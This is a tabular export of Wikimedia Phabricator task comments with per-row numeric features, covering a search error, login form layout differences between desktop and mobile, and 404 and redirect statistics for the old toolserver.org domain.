393938,HTTPFutureHTTPResponseStatus when searching for unindexed document types,[[ /search/query/OD5hAu9yZJRY/#R | Confirmed ]]. Should be pretty easy to fix.,,,1419915719,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-glodozqcbzdaidvowslq,task_subcomment,,True,c3,1,True,,,-27,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.5789473684210527,0.7894736842105263,[[ /search/query/OD5hAu9yZJRY/#R | Confirmed ]]. Should be pretty easy to fix.
85189,Login form password reset and account creation form inconsistent between desktop and mobile,"On the desktop login form password reset is above the password input
On mobile the password reset form is below the form

On the desktop login form the account creation button is a neutral mw-ui-button
On the mobile login form the account creation button is a link

Let's consolidate these so that mobile doesn't have to hijack the login page.
",Medium,50.0,1419297091,1419420221.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-hzukwbliogperntszdaz,task_description,resolved,True,c3,1,True,False,True,-28,True,0.0,0.0,0.0,0.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,6.0,7.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.013888888888889,0.5,"On the desktop login form password reset is above the password input
On mobile the password reset form is below the form

On the desktop login form the account creation button is a neutral mw-ui-button
On the mobile login form the account creation button is a link

Let's consolidate these so that mobile doesn't have to hijack the login page.
"
392702,Login form password reset and account creation form inconsistent between desktop and mobile,"Change 181529 merged by jenkins-bot:
Consolidate mobile and desktop designs for login form

[[https://gerrit.wikimedia.org/r/181529]]",,,1419420503,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.130434782608695,0.9130434782608695,"Change 181529 merged by jenkins-bot:
Consolidate mobile and desktop designs for login form

[[GERRIT_URL]]"
392591,Login form password reset and account creation form inconsistent between desktop and mobile,Running the above screenshots past design.,,,1419371256,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.285714285714286,1.0,Running the above screenshots past design.
392589,Login form password reset and account creation form inconsistent between desktop and mobile,"See also mobile view: {F25007}
(Goal is to upstream media query rules to mediawiki core so the design looks better on smaller screens
",,,1419371193,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.896551724137931,0.9310344827586207,"See also mobile view: {F25007}
(Goal is to upstream media query rules to mediawiki core so the design looks better on smaller screens
"
392394,Login form password reset and account creation form inconsistent between desktop and mobile,"| Before | After (https://gerrit.wikimedia.org/r/181529) |
|-----------|---------|
| {F24483,size=full} | {F24496,size=full} |
",,,1419339151,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.64,0.56,"| Before | After (GERRIT_URL) |
|-----------|---------|
| {F24483,size=full} | {F24496,size=full} |
"
392311,Login form password reset and account creation form inconsistent between desktop and mobile,"Change 181529 had a related patch set uploaded (by Jdlrobson):
Consolidate mobile and desktop designs

[[https://gerrit.wikimedia.org/r/181529]]

#patch-for-review",,,1419297206,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.967741935483871,0.8387096774193549,"Change 181529 had a related patch set uploaded (by Jdlrobson):
Consolidate mobile and desktop designs

[[GERRIT_URL]]

#patch-for-review"
392310,Login form password reset and account creation form inconsistent between desktop and mobile,Blocks T74910,,,1419297168,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hzukwbliogperntszdaz,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Blocks T74910
85167,"Make http (404, 302, 301 etc) statistics for toolserver.org","In https://phabricator.wikimedia.org/T85166  it turns out some redirects got lost. We probably still have quite a few incoming links to toolserver.org . Would be nice to have statistics for at least (and maybe more)
* 404 - Someone is hitting an url that doesn't exist. Missing redirect?
* 302/301 - Someone is hitting a redirect. If we have the referer and it's within the Wikimedia universe we can probably correct it

At some point such statistics were available at http://tools.wmflabs.org/awstats/cgi-bin/awstats.pl but then they disappeared for no known reason.",Medium,50.0,1419281151,1583085876.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_description,resolved,True,c3,1,True,True,False,-28,True,3.0,2.0,0.0,0.0,1.0,7.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,2.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,13.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,11.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,7.0,11.0,2.0,1.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,3.0,1.0,1.0,1.0,3.99,0.74,"In URL  it turns out some redirects got lost. We probably still have quite a few incoming links to toolserver.org . Would be nice to have statistics for at least (and maybe more)
* 404 - Someone is hitting an url that doesn't exist. Missing redirect?
* 302/301 - Someone is hitting a redirect. If we have the referer and it's within the Wikimedia universe we can probably correct it

At some point such statistics were available at URL but then they disappeared for no known reason."
1454662,"Make http (404, 302, 301 etc) statistics for toolserver.org",Where can you see them? The original link in the ticket description serves only a 503.,,,1583162064,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,243,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,11.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,11.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,3.9444444444444446,1.0,Where can you see them? The original link in the ticket description serves only a 503.
1454223,"Make http (404, 302, 301 etc) statistics for toolserver.org",Done in 2016 and never closed?,,,1583085876,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,243,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,Done in 2016 and never closed?
1454202,"Make http (404, 302, 301 etc) statistics for toolserver.org",Four years later: Is there still work left to do here / is there a way to get updated 404 stats for toolserver URIs? Or should this task be resolved?,,,1583081571,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,243,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,9.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,9.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.9090909090909091,Four years later: Is there still work left to do here / is there a way to get updated 404 stats for toolserver URIs? Or should this task be resolved?
670535,"Make http (404, 302, 301 etc) statistics for toolserver.org",">>! In T85167#2303833, @Dzahn wrote:
> https://web.archive.org/web/20120213110804/https://fisheye.toolserver.org/
> 
> Welcome to the Toolserver FishEye repository viewer. Here you can browse the contents of users' subversion repositories.

You may find the new repositories scattered around e.g.
* https://github.com/Toollabs
* https://gerrit.wikimedia.org/r/#/admin/projects/?filter=labs%252Ftools%252F
* https://bitbucket.org/magnusmanske/",,,1464444538,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,31.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3461538461538463,0.5384615384615384,"QUOTE
QUOTE
QUOTE
QUOTE

You may find the new repositories scattered around e.g.
* URL
* URL
* URL"
664676,"Make http (404, 302, 301 etc) statistics for toolserver.org","Change 289504 had a related patch set uploaded (by Dzahn):
toolserver.org: send 410 Gone for ~cmarqu URLs

[[https://gerrit.wikimedia.org/r/289504]]
",,,1463600160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,18.0,3.8214285714285716,0.8928571428571429,"Change 289504 had a related patch set uploaded (by Dzahn):
toolserver.org: send 410 Gone for ~cmarqu URLs

[[GERRIT_URL]]
"
664213,"Make http (404, 302, 301 etc) statistics for toolserver.org",">>! In T85167#2303689, @Dzahn wrote:
> grep **fisheye.toolserver.org** /var/log/apache2/access.log  | wc -l
> **8124**
> 
> (2016-05-17T06:43 - 2016-05-18T01:04)

https://web.archive.org/web/20120213110804/https://fisheye.toolserver.org/

Welcome to the Toolserver FishEye repository viewer. Here you can browse the contents of users' subversion repositories.

https://en.wikipedia.org/wiki/FishEye_%28software%29


",,,1463548283,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,31.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,26.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.228571428571429,0.6571428571428571,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

URL

Welcome to the Toolserver FishEye repository viewer. Here you can browse the contents of users' subversion repositories.

URL


"
664191,"Make http (404, 302, 301 etc) statistics for toolserver.org","Change 289347 merged by Dzahn:
toolserver: redirect some old tool URLs that still get 404s

[[https://gerrit.wikimedia.org/r/289347]]",,,1463535361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,False,,,45,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,0.875,"Change 289347 merged by Dzahn:
toolserver: redirect some old tool URLs that still get 404s

[[GERRIT_URL]]"
664188,"Make http (404, 302, 301 etc) statistics for toolserver.org","Change 289347 had a related patch set uploaded (by Dzahn):
toolserver: redirect some old tool URLs that still get 404s

[[https://gerrit.wikimedia.org/r/289347]]
",,,1463534697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,False,,,45,True,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,13.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,3.774193548387097,0.9032258064516129,"Change 289347 had a related patch set uploaded (by Dzahn):
toolserver: redirect some old tool URLs that still get 404s

[[GERRIT_URL]]
"
664182,"Make http (404, 302, 301 etc) statistics for toolserver.org","grep **fisheye.toolserver.org** /var/log/apache2/access.log  | wc -l
**8124**

(2016-05-17T06:43 - 2016-05-18T01:04)",,,1463533471,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.945945945945946,0.5945945945945946,"grep **fisheye.toolserver.org** /var/log/apache2/access.log  | wc -l
**8124**

(2016-05-17T06:43 - 2016-05-18T01:04)"
663327,"Make http (404, 302, 301 etc) statistics for toolserver.org","
| tool | num 404s 
| adler |2
| agony |2
| aka |24
| al |17024
| alchimista |4
| alexz |3
| amidaniel |2
| animist |2
| annabel |2
| apper |21
| authoritycontrol |16
| avatar |8
| awb |12
| bawolff |231
| bayo |5
| bryan |12
| byrial |1
| catrope |1
| cbm |27
| chm |21
| chris |17
| cmackenzie |121
| cmarqu |204169
| cobi |4
| commonshelper2 |1
| conrad |26
| contests |2
| cspurrier |81
| dab |55
| daniel |688
| danny_b |1
| dapete |544
| darkdadaah |68
| dartar |7
| dereckson |14
| devunt |1
| diberri |21
| dispenser |13
| dm |519
| dpl |1
| drini |5
| dschwen |26
| eagle |15
| edwardspec |9
| emijrp |10
| emw |5
| enwikt |282
| enwp10 |56
| erenrich |1
| erfgoed |239
| escaladix |18
| essjay |3
| flacus |13
| fmaunier |27
| foo |13
| frog23 |127
| fschulenburg |3
| geohack |2551
| geonick |1
| geraki |2
| gifti |1
| gmaxwell |86
| gribeco |15
| guandalug |25
| gunther |2
| henna |1
| hippietrail |6
| holek |14
| hroest |2
| interiot |83
| intuition |1
| invadinado |2
| ireas |7
| jarry |16
| jason |9
| john |4
| john |4
| junaid |2
| kalan |6
| kate |26
| kentaur |2
| kolossos |208
| krimpet |4
| laaknor |3
| leon |27
| luxo |38
| lvova |2
| magnus |458
| magnus |458
| mapjedi |1
| mathbot |7
| merl |117
| millosh |2
| misza13 |11
| mjbmr |4
| mohamed |2
| mwbot |2
| myst |428
| nakon |3
| nemobis |2
| netaction |140
| nicdumz |1
| nikola |32
| nn123645 |1
| ntavares |9
| onion |2
| osm |15057
| overlordq |73
| para |2475
| petrb |1
| phroziac |1
| platonides |5
| poty |23
| prolineserver |4
| purodha |3
| putnik |11
| pywikipedia |110
| qq |1
| quentinv57 |113
| ral315 |2
| render |11
| RENDER |5
| revolus |36
| rhaworth |30
| river |51
| robert |2
| robla |4
| robotmonk |1
| russell |16
| schutz |242
| siebrand |2
| sk |3442
| skagedal |967
| slakr |1
| sonet |4
| soxred93 |1
| sql |54
| stephankn |33
| stewardbots |1
| str4nd |47
| stwalkerster |10
| superzerocool |111
| svick |10
| tangotango |78
| ti |54337
| tim |202
| tim1357 |7
| titoxd |2
| tpt |3
| unblock |3
| valhallasw |1
| verisimilus |22
| voj |8
| werdna |3
| wiegels |1
| wikifeeds |58
| wikiminiatlas |2
| wppb |18
| zach |199
",,,1463441072,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-pw3imdmco4nyvtgkwqxb,task_subcomment,,True,c3,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,1.8571428571428572,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.1428571428571428,0.0,0.0,0.0,0.0,0.0,0.7142857142857143,0.0,0.0,0.0,0.0,0.0,0.0,2.2857142857142856,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2857142857142857,0.0,0.0,0.0,0.0,0.0,28.714285714285715,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5714285714285714,0.0,2.5714285714285716,0.0,0.7142857142857143,1.1428571428571428,19.571428571428573,0.0,0.0,0.0,0.7142857142857143,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.14285714285714285,3.142857142857143,2.8152344549860078,0.44636884854276165,"
| tool | num 404s 
| adler |2
| agony |2
| aka |24
| al |17024
| alchimista |4
| alexz |3
| amidaniel |2
| animist |2
| annabel |2
| apper |21
| authoritycontrol |16
| avatar |8
| awb |12
| bawolff |231
| bayo |5
| bryan |12
| byrial |1
| catrope |1
| cbm |27
| chm |21
| chris |17
| cmackenzie |121
| cmarqu |204169
| cobi |4
| commonshelper2 |1
| conrad |26
| contests |2
| cspurrier |81
| dab |55
| daniel |688
| danny_b |1
| dapete |544
| darkdadaah |68
| dartar |7
| dereckson |14
| devunt |1
| diberri |21
| dispenser |13
| dm |519
| dpl |1
| drini |5
| dschwen |26
| eagle |15
| edwardspec |9
| emijrp |10
| emw |5
| enwikt |282
| enwp10 |56
| erenrich |1
| erfgoed |239
| escaladix |18
| essjay |3
| flacus |13
| fmaunier |27
| foo |13
| frog23 |127
| fschulenburg |3
| geohack |2551
| geonick |1
| geraki |2
| gifti |1
| gmaxwell |86
| gribeco |15
| guandalug |25
| gunther |2
| henna |1
| hippietrail |6
| holek |14
| hroest |2
| interiot |83
| intuition |1
| invadinado |2
| ireas |7
| jarry |16
| jason |9
| john |4
| john |4
| junaid |2
| kalan |6
| kate |26
| kentaur |2
| kolossos |208
| krimpet |4
| laaknor |3
| leon |27
| luxo |38
| lvova |2
| magnus |458
| magnus |458
| mapjedi |1
| mathbot |7
| merl |117
| millosh |2
| misza13 |11
| mjbmr |4
| mohamed |2
| mwbot |2
| myst |428
| nakon |3
| nemobis |2
| netaction |140
| nicdumz |1
| nikola |32
| nn123645 |1
| ntavares |9
| onion |2
| osm |15057
| overlordq |73
| para |2475
| petrb |1
| phroziac |1
| platonides |5
| poty |23
| prolineserver |4
| purodha |3
| putnik |11
| pywikipedia |110
| qq |1
| quentinv57 |113
| ral315 |2
| render |11
| RENDER |5
| revolus |36
| rhaworth |30
| river |51
| robert |2
| robla |4
| robotmonk |1
| russell |16
| schutz |242
| siebrand |2
| sk |3442
| skagedal |967
| slakr |1
| sonet |4
| soxred93 |1
| sql |54
| stephankn |33
| stewardbots |1
| str4nd |47
| stwalkerster |10
| superzerocool |111
| svick |10
| tangotango |78
| ti |54337
| tim |202
| tim1357 |7
| titoxd |2
| tpt |3
| unblock |3
| valhallasw |1
| verisimilus |22
| voj |8
| werdna |3
| wiegels |1
| wikifeeds |58
| wikiminiatlas |2
| wppb |18
| zach |199
"
663326,"Make http (404, 302, 301 etc) statistics for toolserver.org","
| tool | num hits
| adler |2
| agony |2
| aka |24
| al |17024
| alchimista |4
| alexz |3
| amidaniel |2
| animist |2
| annabel |2
| apper |21
| authoritycontrol |16
| avatar |8
| awb |12
| bawolff |231
| bayo |5
| bryan |12
| byrial |1
| catrope |1
| cbm |27
| chm |21
| chris |17
| cmackenzie |121
| cmarqu |204169
| cobi |4
| commonshelper2 |1
| conrad |26
| contests |2
| cspurrier |81
| dab |55
| daniel |688
| danny_b |1
| dapete |544
| darkdadaah |68
| dartar |7
| dereckson |14
| devunt |1
| diberri |21
| dispenser |13
